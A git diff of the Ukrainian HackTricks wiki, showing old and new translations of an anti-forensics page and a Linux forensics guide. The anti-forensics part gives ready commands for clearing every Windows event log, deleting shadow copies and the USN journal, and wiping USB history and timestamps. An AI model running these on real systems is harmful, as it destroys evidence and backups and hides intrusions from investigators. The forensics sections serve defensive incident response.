Щоб виявити це, слід перевірити запущені процеси та **переглянути кожний запущений скрипт Python**.
Це інструмент, який **вимкне комп'ютер, якщо буде виявлено будь-які зміни в USB** портах.\
Спосіб виявлення цього - перевірити запущені процеси та **переглянути кожен запущений python скрипт**.
# Живі Дистрибутиви Linux
## Живі дистрибутиви Linux
Ці дистрибутиви **виконуються всередині оперативної пам'яті RAM**. Єдиний спосіб виявити їх - **у випадку, якщо файлова система NTFS монтується з правами на запис**. Якщо вона монтується лише з правами на читання, то виявити вторгнення буде неможливо.
Ці дистрибутиви **виконуються в пам'яті RAM**. Єдиний спосіб виявити їх - **якщо файлову систему NTFS змонтовано з правами на запис**. Якщо вона змонтована лише з правами на читання, виявити вторгнення не вдасться.
# Безпечне Видалення
## Безпечне видалення
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
# Конфігурація Windows
## Налаштування Windows
Можливо вимкнути кілька методів журналювання Windows, щоб ускладнити розслідування форензики.
Можна вимкнути кілька методів ведення журналів Windows, щоб ускладнити судово-експертне розслідування.
## Вимкнення Відміток Часу - UserAssist
### Вимкнути часові мітки - UserAssist
Це реєстровий ключ, який зберігає дати та години, коли кожний виконуваний файл був запущений користувачем.
Це ключ реєстру, який зберігає дати та години, коли кожен виконуваний файл був запущений користувачем.
Для вимкнення UserAssist потрібно виконати два кроки:
Вимкнення UserAssist вимагає двох кроків:
1. Встановіть два реєстрових ключа, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` та `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, обидва на нуль, щоб позначити, що ми хочемо вимкнути UserAssist.
2. Очистіть гілки реєстру, які виглядають як `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<хеш>`.
1. Встановіть два ключі реєстру, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` та `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, обидва на нуль, щоб сигналізувати про те, що ми хочемо вимкнути UserAssist.
2. Очистіть свої піддерева реєстру, які виглядають як `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
## Вимкнення Відміток Часу - Prefetch
### Вимкнути часові мітки - Prefetch
Це збереже інформацію про виконані програми з метою покращення продуктивності системи Windows. Однак це також може бути корисним для практик форензики.
Це зберігатиме інформацію про виконувані програми з метою покращення продуктивності системи Windows. Однак це також може бути корисним для судово-експертних практик.
* Виконайте `regedit`
* Виберіть шлях файлу `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
@ -109,53 +111,69 @@ NTFS використовує кластер та мінімальний роз
* Виберіть Змінити для кожного з них, щоб змінити значення з 1 (або 3) на 0
* Перезавантажте
## Вимкнення Відміток Часу - Останній Час Доступу
### Вимкнути часові мітки - Час останнього доступу
Кожного разу, коли відкривається папка з тома NTFS на сервері Windows NT, система витрачає час на **оновлення полі відмітки часу на кожній перерахованій папці**, яке називається останній час доступу. На сильно використовуваному томі NTFS це може вплинути на продуктивність.
Кожного разу, коли папка відкривається з обсягу NTFS на сервері Windows NT, система витрачає час на **оновлення поля часової мітки для кожної вказаної папки**, яке називається часом останнього доступу. На сильно завантаженому обсязі NTFS це може вплинути на продуктивність.
1. Відкрийте Редактор реєстру (Regedit.exe).
2. Перейдіть до `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
3. Знайдіть `NtfsDisableLastAccessUpdate`. Якщо його немає, додайте цей DWORD та встановіть його значення на 1, що вимкне процес.
3. Знайдіть `NtfsDisableLastAccessUpdate`. Якщо його немає, додайте цей DWORD і встановіть його значення на 1, що вимкне процес.
4. Закрийте Редактор реєстру та перезавантажте сервер.
## Видалення історії USB
Всі **записи пристроїв USB** зберігаються в реєстрі Windows під ключем реєстру **USBSTOR**, який містить підключі, що створюються кожного разу, коли ви підключаєте пристрій USB до свого ПК або ноутбука. Ви можете знайти цей ключ тут `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Видалення цього** ключа призведе до видалення історії USB.\
Ви також можете скористатися інструментом [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html), щоб переконатися, що ви їх видалили (і видалити їх).
### Видалити історію USB
Іншим файлом, який зберігає інформацію про USB, є файл `setupapi.dev.log` всередині `C:\Windows\INF`. Його також слід видалити.
Всі **USB Device Entries** зберігаються в реєстрі Windows під ключем **USBSTOR**, який містить підключі, які створюються щоразу, коли ви підключаєте USB-пристрій до свого ПК або ноутбука. Ви можете знайти цей ключ тут H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Видаливши це**, ви видалите історію USB.\
Ви також можете використовувати інструмент [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html), щоб переконатися, що ви їх видалили (і щоб видалити їх).
## Вимкнення тіньових копій
Ще один файл, який зберігає інформацію про USB, - це файл `setupapi.dev.log` всередині `C:\Windows\INF`. Цей файл також слід видалити.
**Вивести** тіньові копії за допомогою `vssadmin list shadowstorage`\
**Видалити** їх, виконавши `vssadmin delete shadow`
### Вимкнути тіньові копії
Ви також можете видалити їх через GUI, слідуючи за кроками, запропонованими за посиланням [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
**Список** тіньових копій за допомогою `vssadmin list shadowstorage`\
**Видалити** їх, запустивши `vssadmin delete shadow`
Щоб вимкнути тіньові копії [кроки звідси](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
Ви також можете видалити їх через GUI, дотримуючись кроків, запропонованих у [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
1. Відкрийте програму Служби, набравши "services" у текстовому полі пошуку після натискання кнопки запуску Windows.
2. Зі списку знайдіть "Тіньову копію тому", виберіть її, а потім отримайте доступ до властивостей, клацнувши правою кнопкою миші.
3. Виберіть "Вимкнено" зі списку випадаючих меню "Тип запуску", а потім підтвердіть зміну, клацнувши "Застосувати" і "OK".
Щоб вимкнути тіньові копії, дотримуйтесь [кроків звідси](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
Також можливо змінити конфігурацію файлів, які будуть скопійовані в тіньову копію, у реєстрі `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
1. Відкрийте програму Служби, ввівши "services" у текстовому полі пошуку після натискання кнопки "Пуск" Windows.
2. У списку знайдіть "Volume Shadow Copy", виберіть його, а потім отримайте доступ до Властивостей, клацнувши правою кнопкою миші.
3. Виберіть Вимкнено з випадаючого меню "Тип запуску", а потім підтвердіть зміну, натиснувши Застосувати та ОК.
## Перезапис видалених файлів
Також можливо змінити конфігурацію, які файли будуть копіюватися в тіньову копію в реєстрі `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
* Ви можете скористатися **інструментом Windows**: `cipher /w:C`. Це вказує cipher видалити будь-які дані з вільного місця на диску в диску C.
* Ви також можете скористатися інструментами, такими як [**Eraser**](https://eraser.heidi.ie)
### Перезаписати видалені файли
## Видалення журналів подій Windows
* Ви можете використовувати **інструмент Windows**: `cipher /w:C` Це вказує шифрувальнику видалити будь-які дані з доступного невикористаного дискового простору всередині диска C.
* Ви також можете використовувати такі інструменти, як [**Eraser**](https://eraser.heidi.ie)
* Windows + R --> eventvwr.msc --> Розгорнути "Журнали Windows" --> Клацніть правою кнопкою миші на кожній категорії та виберіть "Очистити журнал"
### Видалити журнали подій Windows
* Windows + R --> eventvwr.msc --> Розгорніть "Журнали Windows" --> Клацніть правою кнопкою миші на кожній категорії та виберіть "Очистити журнал"
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Вимкнення журналів подій Windows
### Вимкнути журнали подій Windows
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* У розділі служб вимкніть службу "Журнал подій Windows"
* У розділі служб вимкніть службу "Windows Event Log"
* `WEvtUtil.exec clear-log` або `WEvtUtil.exe cl`
## Вимкнення $UsnJrnl
### Вимкнути $UsnJrnl
* `fsutil usn deletejournal /d c:`
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Лінукс Форензіка
# Linux Forensics
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють на найбільш **продвинутих** інструментах спільноти.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
## Початковий Збір Інформації
## Початкове збирання інформації
### Основна Інформація
### Основна інформація
По-перше, рекомендується мати **USB** з **відомими хорошими бінарниками та бібліотеками на ньому** (ви можете просто взяти Ubuntu та скопіювати папки _/bin_, _/sbin_, _/lib,_ та _/lib64_), потім підключити USB, та змінити змінні середовища для використання цих бінарників:
По-перше, рекомендується мати **USB** з **добре відомими бінарними файлами та бібліотеками** (ви можете просто взяти ubuntu і скопіювати папки _/bin_, _/sbin_, _/lib,_ та _/lib64_), потім змонтуйте USB і змініть змінні середовища, щоб використовувати ці бінарні файли:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Після того, як ви налаштували систему для використання надійних та відомих бінарних файлів, ви можете почати **витягувати деяку базову інформацію**:
Якщо ви налаштували систему на використання хороших і відомих бінарних файлів, ви можете почати **витягувати деяку базову інформацію**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Підозріла інформація
Під час отримання базової інформації варто перевірити на дивні речі, такі як:
Під час отримання базової інформації слід перевірити на дивні речі, такі як:
* **Процеси root** зазвичай працюють з низькими PID, тому якщо ви знаходите процес root з великим PID, ви можете підозрювати
* Перевірте **зареєстровані входи** користувачів без оболонки в `/etc/passwd`
* **Root процеси** зазвичай працюють з низькими PID, тому якщо ви знайдете root процес з великим PID, ви можете підозрювати
* Перевірте **зареєстровані логіни** користувачів без оболонки в `/etc/passwd`
* Перевірте **хеші паролів** в `/etc/shadow` для користувачів без оболонки
### Дамп пам'яті
Для отримання пам'яті робочої системи рекомендується використовувати [**LiME**](https://github.com/504ensicsLabs/LiME).\
Для **компіляції** його вам потрібно використовувати **таке ж ядро**, яке використовує машина-жертва.
Щоб отримати пам'ять працюючої системи, рекомендується використовувати [**LiME**](https://github.com/504ensicsLabs/LiME).\
Щоб **скомпілювати** його, вам потрібно використовувати **той самий ядро**, яке використовує машина жертви.
{% hint style="info" %}
Пам'ятайте, що ви **не можете встановлювати LiME або будь-що інше** на машину-жертву, оскільки це призведе до кількох змін в ній
Пам'ятайте, що ви **не можете встановити LiME або будь-що інше** на машині жертви, оскільки це призведе до кількох змін у ній
{% endhint %}
Тому, якщо у вас є ідентична версія Ubuntu, ви можете використовувати `apt-get install lime-forensics-dkms`\
У інших випадках вам потрібно завантажити [**LiME**](https://github.com/504ensicsLabs/LiME) з github та скомпілювати його з правильними заголовками ядра. Для **отримання точних заголовків ядра** машини-жертви ви можете просто **скопіювати каталог** `/lib/modules/<версія ядра>` на свою машину, а потім **скомпілювати** LiME, використовуючи їх:
Отже, якщо у вас є ідентична версія Ubuntu, ви можете використовувати `apt-get install lime-forensics-dkms`\
В інших випадках вам потрібно завантажити [**LiME**](https://github.com/504ensicsLabs/LiME) з github і скомпілювати його з правильними заголовками ядра. Щоб **отримати точні заголовки ядра** машини жертви, ви можете просто **скопіювати директорію** `/lib/modules/<kernel version>` на вашу машину, а потім **скомпілювати** LiME, використовуючи їх:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME підтримує 3 **формати**:
* Raw (кожний сегмент об'єднаний разом)
* Padded (такий самий, як raw, але з нулями в правих бітах)
* Raw (кожен сегмент об'єднаний разом)
* Padded (той же, що й raw, але з нулями в правих бітах)
* Lime (рекомендований формат з метаданими)
LiME також може бути використаний для **відправлення дампу через мережу** замість зберігання його в системі, використовуючи щось на зразок: `path=tcp:4444`
LiME також може бути використаний для **відправки дампу через мережу** замість зберігання його на системі, використовуючи щось на кшталт: `path=tcp:4444`
### Диск Imaging
#### Вимкнення
По-перше, вам потрібно **вимкнути систему**. Це не завжди можливо, оскільки деякі системи є серверами виробничого призначення, які компанія не може собі дозволити вимкнути.\
Є **2 способи** вимкнення системи, **звичайне вимкнення** та **вимкнення "від'єднати штепсель"**. Перше дозволить **процесам завершити роботу як зазвичай** та **синхронізувати файлову систему**, але також дозволить можливому **шкідливому програмному забезпеченню** **знищити докази**. Підхід "від'єднати штепсель" може призвести до **втрати деякої інформації** (багато інформації не буде втрачено, оскільки ми вже взяли зображення пам'яті) та **шкідливе програмне забезпечення не матиме можливості** щодо цього нічого зробити. Тому, якщо ви **підозрюєте**, що може бути **шкідливе програмне забезпечення**, просто виконайте **команду `sync`** на системі та від'єднайте штепсель.
Перш за все, вам потрібно **вимкнути систему**. Це не завжди можливо, оскільки іноді система буде виробничим сервером, який компанія не може дозволити собі вимкнути.\
Є **2 способи** вимкнення системи: **нормальне вимкнення** та **вимкнення "вийняти штекер"**. Перше дозволить **процесам завершитися як зазвичай** і **файловій системі** бути **синхронізованою**, але це також дозволить можливому **шкідливому ПЗ** **знищити докази**. Підхід "вийняти штекер" може призвести до **втрати деякої інформації** (не багато інформації буде втрачено, оскільки ми вже зробили зображення пам'яті) і **шкідливе ПЗ не матиме можливості** щось з цим зробити. Тому, якщо ви **підозрюєте**, що може бути **шкідливе ПЗ**, просто виконайте **команду** **`sync`** на системі і вийміть штекер.
#### Взяття зображення диска
#### Зняття зображення диска
Важливо зауважити, що **перед підключенням вашого комп'ютера до чого-небудь, що стосується справи**, вам потрібно бути впевненим, що він буде **підключений як тільки для читання**, щоб уникнути зміни будь-якої інформації.
Важливо зазначити, що **перед підключенням вашого комп'ютера до чогось, що стосується справи**, вам потрібно бути впевненим, що він буде **підключений тільки для читання**, щоб уникнути зміни будь-якої інформації.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -98,9 +99,9 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Попередній аналіз образу диска
### Disk Image pre-analysis
Створення образу диска без додаткових даних.
Іміджування диска без додаткових даних.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@ -153,26 +154,26 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, що працюють на найбільш **продвинутих** інструментах спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Пошук відомого шкідливого програмного забезпечення
## Пошук відомого шкідливого ПЗ
### Змінені системні файли
### Модифіковані системні файли
Linux пропонує інструменти для забезпечення цілісності компонентів системи, що є важливим для виявлення потенційно проблемних файлів.
Linux пропонує інструменти для забезпечення цілісності системних компонентів, що є критично важливим для виявлення потенційно проблемних файлів.
* **Системи на основі RedHat**: Використовуйте `rpm -Va` для комплексної перевірки.
* **Системи на основі Debian**: `dpkg --verify` для початкової перевірки, а потім `debsums | grep -v "OK$"` (після встановлення `debsums` за допомогою `apt-get install debsums`) для ідентифікації будь-яких проблем.
* **Системи на базі RedHat**: Використовуйте `rpm -Va` для всебічної перевірки.
* **Системи на базі Debian**: `dpkg --verify` для початкової перевірки, після чого використовуйте `debsums | grep -v "OK$"` (після встановлення `debsums` за допомогою `apt-get install debsums`) для виявлення будь-яких проблем.
### Виявлення шкідливого програмного забезпечення/кітових програм
### Детектори шкідливого ПЗ/Rootkit
Прочитайте наступну сторінку, щоб дізнатися про інструменти, які можуть бути корисними для пошуку шкідливого програмного забезпечення:
Прочитайте наступну сторінку, щоб дізнатися про інструменти, які можуть бути корисними для виявлення шкідливого ПЗ:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@ -180,12 +181,12 @@ Linux пропонує інструменти для забезпечення ц
## Пошук встановлених програм
Для ефективного пошуку встановлених програм як на системах Debian, так і на RedHat, розгляньте можливість використання системних журналів та баз даних разом із ручними перевірками в загальних каталогах.
Щоб ефективно шукати встановлені програми на системах Debian і RedHat, розгляньте можливість використання системних журналів і баз даних разом із ручними перевірками в загальних каталогах.
* Для Debian перевірте _**`/var/lib/dpkg/status`**_ та _**`/var/log/dpkg.log`**_ для отримання деталей про встановлені пакети, використовуючи `grep` для фільтрації конкретної інформації.
* Користувачі RedHat можуть запитувати базу даних RPM за допомогою `rpm -qa --root=/mntpath/var/lib/rpm`, щоб перелічити встановлені пакети.
* Для Debian перевірте _**`/var/lib/dpkg/status`**_ та _**`/var/log/dpkg.log`**_ для отримання деталей про встановлення пакетів, використовуючи `grep` для фільтрації конкретної інформації.
* Користувачі RedHat можуть запитати базу даних RPM за допомогою `rpm -qa --root=/mntpath/var/lib/rpm`, щоб отримати список встановлених пакетів.
Щоб виявити програмне забезпечення, встановлене вручну або поза цими менеджерами пакунків, дослідіть каталоги, такі як _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ та _**`/sbin`**_. Поєднайте переліки каталогів з системними командами, щоб ідентифікувати виконувані файли, які не пов'язані з відомими пакетами, покращуючи пошук всіх встановлених програм.
Щоб виявити програмне забезпечення, встановлене вручну або поза цими менеджерами пакетів, досліджуйте каталоги, такі як _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, і _**`/sbin`**_. Поєднайте списки каталогів з командами, специфічними для системи, щоб ідентифікувати виконувані файли, не пов'язані з відомими пакетами, що покращить ваш пошук усіх встановлених програм.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -201,17 +202,17 @@ find /sbin/ exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси**, які працюють на найбільш **продвинутих** інструментах спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Відновлення видалених виконуваних файлів
## Відновлення видалених запущених бінарних файлів
Уявіть процес, який був виконаний з /tmp/exec та видалений. Є можливість його видобути
Уявіть процес, який був виконаний з /tmp/exec і потім видалений. Можливо, його можна витягти
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
@ -233,61 +234,61 @@ cat /var/spool/cron/crontabs/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
### Сервіси
### Services
Шляхи, де може бути встановлений шкідливий ПЗ як сервіс:
Шляхи, де шкідливе ПЗ може бути встановлено як сервіс:
* **/etc/inittab**: Викликає ініціалізаційні скрипти, наприклад rc.sysinit, спрямовуючи далі до скриптів запуску.
* **/etc/inittab**: Викликає ініціалізаційні скрипти, такі як rc.sysinit, направляючи далі до скриптів запуску.
* **/etc/rc.d/** та **/etc/rc.boot/**: Містять скрипти для запуску сервісів, останній з яких знаходиться в старіших версіях Linux.
* **/etc/init.d/**: Використовується в певних версіях Linux, наприклад Debian, для зберігання скриптів запуску.
* **/etc/init.d/**: Використовується в певних версіях Linux, таких як Debian, для зберігання скриптів запуску.
* Сервіси також можуть бути активовані через **/etc/inetd.conf** або **/etc/xinetd/**, залежно від варіанту Linux.
* **/etc/systemd/system**: Каталог для системних та скриптів керування сервісами.
* **/etc/systemd/system/multi-user.target.wants/**: Містить посилання на сервіси, які повинні бути запущені в режимі багатокористувацького рівня.
* **/usr/local/etc/rc.d/**: Для власних або сторонніх сервісів.
* **\~/.config/autostart/**: Для автоматичного запуску програм, специфічних для користувача, що може бути прихованим місцем для шкідливого ПЗ, спрямованого на користувача.
* **/lib/systemd/system/**: Системні файли одиниць за замовчуванням, надані встановленими пакетами.
* **/etc/systemd/system**: Директорія для скриптів менеджера системи та сервісів.
* **/etc/systemd/system/multi-user.target.wants/**: Містить посилання на сервіси, які повинні бути запущені в багатокористувацькому режимі.
* **/usr/local/etc/rc.d/**: Для користувацьких або сторонніх сервісів.
* **\~/.config/autostart/**: Для автоматичних програм запуску, специфічних для користувача, які можуть бути прихованим місцем для шкідливого ПЗ, націленого на користувача.
* **/lib/systemd/system/**: Стандартні файли одиниць системи, надані встановленими пакетами.
### Модулі ядра
### Kernel Modules
Модулі ядра Linux, часто використовувані шкідливим ПЗ як компоненти rootkit, завантажуються при завантаженні системи. Критичні для цих модулів каталоги та файли включають:
Модулі ядра Linux, які часто використовуються шкідливим ПЗ як компоненти руткітів, завантажуються під час завантаження системи. Директорії та файли, критично важливі для цих модулів, включають:
* **/lib/modules/$(uname -r)**: Містить модулі для версії ядра, що працює.
* **/etc/modprobe.d**: Містить файли конфігурації для керування завантаженням модулів.
* **/etc/modprobe.d**: Містить конфігураційні файли для контролю завантаження модулів.
* **/etc/modprobe** та **/etc/modprobe.conf**: Файли для глобальних налаштувань модулів.
### Інші місця автозапуску
### Other Autostart Locations
Linux використовує різні файли для автоматичного виконання програм при вході користувача, що потенційно можуть приховувати шкідливе ПЗ:
Linux використовує різні файли для автоматичного виконання програм під час входу користувача, що потенційно може приховувати шкідливе ПЗ:
* **/etc/profile.d/**\*, **/etc/profile**, та **/etc/bash.bashrc**: Виконуються при будь-якому вході користувача.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, та **\~/.config/autostart**: Файли, специфічні для користувача, які запускаються при їх вході.
* **/etc/rc.local**: Запускається після того, як всі системні служби стартують, позначаючи завершення переходу до середовища багатокористувацького рівня.
* **/etc/profile.d/**\*, **/etc/profile**, та **/etc/bash.bashrc**: Виконуються для будь-якого входу користувача.
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, та **\~/.config/autostart**: Файли, специфічні для користувача, які виконуються під час їх входу.
* **/etc/rc.local**: Виконується після того, як всі системні сервіси були запущені, що позначає кінець переходу до багатокористувацького середовища.
## Аналіз журналів
## Examine Logs
Системи Linux відстежують дії користувачів та події системи через різні файли журналів. Ці журнали є ключовими для ідентифікації несанкціонованого доступу, інфікування шкідливим ПЗ та інших інцидентів безпеки. Основні файли журналів включають:
Системи Linux відстежують активність користувачів та події системи через різні журнали. Ці журнали є важливими для виявлення несанкціонованого доступу, інфекцій шкідливим ПЗ та інших інцидентів безпеки. Ключові журнали включають:
* **/var/log/syslog** (Debian) або **/var/log/messages** (RedHat): Записують повідомлення та дії на рівні системи.
* **/var/log/auth.log** (Debian) або **/var/log/secure** (RedHat): Фіксують спроби аутентифікації, успішні та невдачні входи.
* Використовуйте `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` для фільтрації відповідних подій аутентифікації.
* **/var/log/syslog** (Debian) або **/var/log/messages** (RedHat): Фіксують системні повідомлення та активність.
* **/var/log/auth.log** (Debian) або **/var/log/secure** (RedHat): Записують спроби аутентифікації, успішні та невдалі входи.
* Використовуйте `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`, щоб відфільтрувати відповідні події аутентифікації.
* **/var/log/boot.log**: Містить повідомлення про запуск системи.
* **/var/log/maillog** або **/var/log/mail.log**: Журнали дій поштового сервера, корисні для відстеження поштових сервісів.
